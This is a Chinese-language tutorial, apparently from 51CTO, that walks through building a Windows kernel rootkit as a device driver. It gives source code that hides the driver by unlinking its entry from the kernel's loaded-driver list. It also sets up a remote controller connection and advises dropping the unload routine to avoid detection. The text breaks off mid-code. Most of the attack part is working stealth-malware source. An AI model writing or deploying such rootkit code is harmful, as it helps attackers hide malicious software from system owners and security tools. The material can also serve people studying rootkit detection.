Rootkit隐形技术入门

Rootkit隐形技术入门
这篇文章的作者: 宇文 出处:51CTO
摘要:在安全界,rootkit已越来越引起人们的关注,而rootkit技术的过人之处就在于它的隐形技术,本文旨在向读者打开一扇通向rootkit隐形技术的大门。
一、综述
本文将引领读者打造一个初级的内核级Rootkit,然后为其引入两种简单的隐形技术:进程隐形技术和文件隐形技术。同时,为了让读者获得rootkit编程的相关经验,我们顺便介绍了rootkit的装载、卸载方法,以及必不可少的测试技术。
本文介绍的Rootkit的主要构件是一个设备驱动程序,所以我们首先了解一下我们的第一个rootkit。
二、rootkit主体
本节引入一个简单的rootkit实例,它实际上只给出了rootkit的主体框架,换句话说,就是一个设备驱动程序。那么为什么要用设备驱动程序作为主体呢?很明显,因为在系统中,设备驱动程序和操作系统一样,都是程序中的特权阶级——它们运行于Ring0,有权访问系统中的所有代码和数据。还有一点需要说明的是,因为本例主要目的在于介绍rootkit是如何隐形的,所以并没有实现 后门之类的具体功能,。
我们将以源代码的形式说明rootkit,对着重介绍一些重要的数据结构和函数。下面,先给出我们用到的第一个文件,它是一个头文件,名为Invisible.h,具体如下所示:
//Invisible.h:我们rootkit的头文件
#ifndef _INVISIBLE_H_
#define _INVISIBLE_H_
typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD* PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef struct _DRIVER_DATA
{
 LIST_ENTRY listEntry;
 DWORD  unknown1;
 DWORD  unknown2;
 DWORD  unknown3;
 DWORD  unknown4;
 DWORD  unknown5;
 DWORD  unknown6;
 DWORD  unknown7;
 UNICODE_STRING path;
 UNICODE_STRING name;
} DRIVER_DATA;
#endif
      
我们知道,应用软件只要简单引用几个文件如stdio.h和windows.h,就能囊括大量的定义。但这种做法到了驱动程序这里就行不通了,原因大致有二条,一是驱动程序体积一般较为紧凑,二是驱动程序用途较为专一,用到的数据类型较少。因此,我们这里给出了一个头文件Invisible.h,其中定义了一些供我们的rootkit之用的数据类型。
这里定义的类型中,有一个数据类型要提一下:双字类型,它实际上是一个无符号长整型。此外,DRIVER_DATA是Windows 操作系统未公开的一个数据结构,其中含有分别指向设备驱动程序目录中上一个和下一个设备驱动程序的指针。而我们这里开发的rootkit恰好就是作为设备驱动程序来实现,所以,只要从设备驱动程序目录中将我们的rootkit(即驱动程序)所对应的目录项去掉,系统管理程序就看不到它了,从而实现了隐形。
上面介绍了rootkit的头文件,现在开始介绍rootkit的主体部分,它实际就是一个基本的设备驱动程序,具体代码如下面的Invisible.c所示:
// Invisible
#include "ntddk.h"
#include "Invisible.h"
#include "fileManager.h"
#include "configManager.h"
// 全局变量
ULONG majorVersion;
ULONG minorVersion;
//当进行free build时,将其注释掉,以防被检测到
VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
{
 DbgPrint("comint16: OnUnload called.");
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING
theRegistryPath )
{
 DRIVER_DATA* driverData;
 //取得操作系统的版本
 PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );
 // Major = 4: Windows NT 4.0, Windows Me, Windows 98 或 Windows 95
 // Major = 5: Windows Server 2003, Windows XP 或 Windows 2000
 // Minor = 0: Windows 2000, Windows NT 4.0 或 Windows 95
 // Minor = 1: Windows XP
 // Minor = 2: Windows Server 2003
 if ( majorVersion == 5 && minorVersion == 2 )
 {
  DbgPrint("comint16: Running on Windows 2003");
 }
 else if ( majorVersion == 5 && minorVersion == 1 )
 {
  DbgPrint("comint16: Running on Windows XP");
 }
 else if ( majorVersion == 5 && minorVersion == 0 )
 {
  DbgPrint("comint16: Running on Windows 2000");
 }
 else if ( majorVersion == 4 && minorVersion == 0 )
 {
  DbgPrint("comint16: Running on Windows NT 4.0");
 }
 else
 {
  DbgPrint("comint16: Running on unknown system");
 }
 // 隐藏该驱动程序
 driverData = *((DRIVER_DATA**)((DWORD)pDriverObject + 20));
 if( driverData != NULL )
 {
  // 将本驱动程序的相应目录项从项驱动程序目录中拆下来
 *((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;
  driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;
 }
// 允许卸载本驱动程序
 pDriverObject->DriverUnload = OnUnload;
 // 为本Rootkit的控制器配置连接
 if( !NT_SUCCESS( Configure() ) )
 {
  DbgPrint("comint16: Could not configure remote connection./n");
  return STATUS_UNSUCCESSFUL;
 }
 return STATUS_SUCCESS;
}
      

Invisible.c是该rootkit的主体结构,其中包括入口函数DriverEntry和卸载函数OnUnload。操作系统加载该驱动程序时将调用入口函数。我们看到,在传递给入口函数的参数中有一个是DRIVER_OBJECT,它的作用是给出跟该驱动程序通信时所调用的函数的映射表。就本例而言,我们仅仅映射了一个函数pDriverObject-〉DriverUnload,这样以来,当卸载驱动程序时,操作系统调用onunload函数就可行了。需要特别说明的是,这一点在rootkit开发过程中特别实用,不用重启系统就可以卸载驱动程序,但是它却带来了一个大问题:容易被发现,所以在隐蔽性要求较高时不能使用,我们已经在源代码的相应部分给出了注释。
下面我们看一下该rootkit如何实现隐形。我们将隐藏设备驱动程序的代码摘录如下:

// 隐藏该驱动程序
 driverData = *((DRIVER_DATA**)((DWORD)pDriverObject + 20));
 if( driverData != NULL )
 {
  // 将本驱动程序的相应目录项从项驱动程序目录中拆下来
*((PDWORD)driverData-
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